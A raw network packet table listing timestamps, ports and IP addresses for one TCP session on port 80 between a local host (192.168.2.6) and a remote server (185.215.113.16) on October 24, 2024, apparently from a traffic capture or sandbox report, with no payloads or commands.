Oct 24, 2024 18:08:17.465168953 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.465203047 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.465209007 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:17.465475082 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.465526104 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:17.465528965 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.465564966 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.465600014 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.465601921 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:17.465925932 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.465976000 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:17.466020107 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.466054916 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.466094017 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:17.466140985 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.466175079 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.466243029 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:17.466537952 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.466594934 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.466628075 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.466634989 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:17.498064995 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.498107910 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.498143911 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.498173952 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:17.498177052 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.498200893 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:17.498214006 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.498245955 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.498261929 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:17.498284101 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.498331070 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:17.499108076 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.499176025 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.499228001 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.499264002 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.499280930 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:17.499300003 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.499347925 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:17.541953087 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.541977882 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.541995049 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.542010069 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.542026997 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.542023897 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:17.542046070 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.542099953 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:17.542099953 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:17.543337107 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.543353081 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.543534994 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:17.583425045 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.583463907 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.583494902 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:17.583499908 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.583592892 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:17.584619045 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.584727049 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.584784985 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.584811926 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:17.584840059 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.584873915 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.584909916 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.584949970 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:17.584953070 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.585083008 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:17.585086107 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.585139036 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.585166931 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:17.585174084 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.585206985 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.585242987 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.585244894 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:17.585304022 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.585380077 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:17.585742950 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.585819006 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:17.585984945 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.586023092 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.586061954 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.586095095 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:17.586114883 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.586148977 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.586180925 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:17.586183071 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.586218119 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.586376905 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:17.586853981 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.586934090 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:17.619612932 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.619785070 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.619817972 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.619852066 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.619884014 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.619889975 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:17.619916916 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.619952917 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.619955063 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:17.619987011 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:17.620052099 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.620136976 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.620141983 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:17.620171070 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.620203972 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.620238066 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:17.661350965 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.661425114 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.661457062 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:17.661462069 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.661494970 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.661531925 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:17.661550999 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.661586046 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.661622047 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.661653996 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:17.661658049 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.661695957 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:17.701307058 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.701342106 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.701359034 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.701375008 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.701400042 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:17.701508999 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.701544046 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:17.701600075 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.701955080 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:17.703376055 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.703424931 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.703458071 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:17.703481913 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.703499079 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.703907967 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:17.704850912 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.704927921 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:17.704961061 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.704978943 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.704993963 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.705010891 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.705027103 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.705034971 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:17.705044985 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.705055952 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:17.705116034 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:17.705292940 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.705400944 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.705419064 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.705435038 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.705451012 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.705462933 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:17.705467939 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.705485106 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.705481052 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:17.705507040 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:17.706269979 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.706326008 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.706342936 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.706356049 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:17.706437111 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.706454992 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.706466913 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:17.706816912 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:17.740377903 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.740411997 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.740432024 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.740447998 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.740463972 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.740478992 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.740497112 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.740505934 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:17.740755081 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.740782022 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.740791082 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:17.740798950 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.740839005 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.740854025 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.740873098 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:17.740874052 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:17.741128922 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:17.782294989 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.782358885 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.782414913 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.782449961 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.782485008 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.782490015 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:17.782521963 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.782550097 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:17.782589912 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:17.821248055 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.821305037 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.821342945 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.821379900 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.821531057 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:17.821531057 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:17.823029041 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.823076010 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.823111057 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.823146105 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.823179007 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:17.823858023 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.823894978 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:17.823915005 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.823951006 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.823987007 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:17.823987007 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.824024916 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.824053049 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:17.824188948 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.824240923 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.824270964 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:17.824275970 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.824310064 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.824337959 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:17.824362040 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.824856043 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.824947119 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:17.824975014 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.825011969 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.825036049 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:17.825043917 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.825078964 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.825108051 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:17.825114012 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.825151920 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.825177908 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:17.825786114 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.825843096 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.825875044 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:17.825877905 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.825912952 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.825938940 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:17.826076984 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.826798916 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:17.860143900 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.860215902 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.860253096 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.860286951 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.860321999 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.860356092 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.860393047 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.860394001 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:17.860394955 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:17.860585928 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.860620022 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.860655069 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.860766888 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:17.861126900 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.861171007 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:17.861172915 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.861211061 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.861247063 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:17.901808977 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.901870012 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.901907921 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.901941061 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.901979923 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.902072906 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.902106047 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.902133942 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:17.902139902 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.902168036 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:17.944749117 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.944804907 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.944843054 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.944875956 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.944911003 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.944946051 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:17.944947004 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:17.944953918 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.944984913 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:17.945012093 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.945046902 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.945074081 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:17.945090055 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.945122957 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.945152998 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:17.945157051 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.945190907 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.945219040 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:17.945224047 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.945261002 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.945866108 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.945925951 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.945955992 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:17.945979118 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.946013927 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.946043015 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:17.946047068 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.946082115 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.946115971 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.946141958 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:17.946800947 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.946856976 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.946886063 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:17.946907043 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.946940899 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.946966887 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:17.946973085 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.947007895 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.947040081 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:17.947043896 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.947788000 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.947798014 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:17.947855949 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.947885990 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:17.979634047 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.979703903 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.979760885 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.979796886 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.979830980 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.979863882 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.979868889 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:17.979897976 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.979928017 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:17.979931116 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.979965925 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.979995012 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:17.980004072 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.980442047 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.980478048 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:17.980622053 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.980653048 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.980684042 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:17.980685949 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:17.982800961 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:18.021496058 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.021568060 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.021600008 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:18.021604061 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.021639109 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.021667004 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:18.021675110 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.021765947 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.021823883 CEST	80	49744	185.215.113.16	192.168.2.6
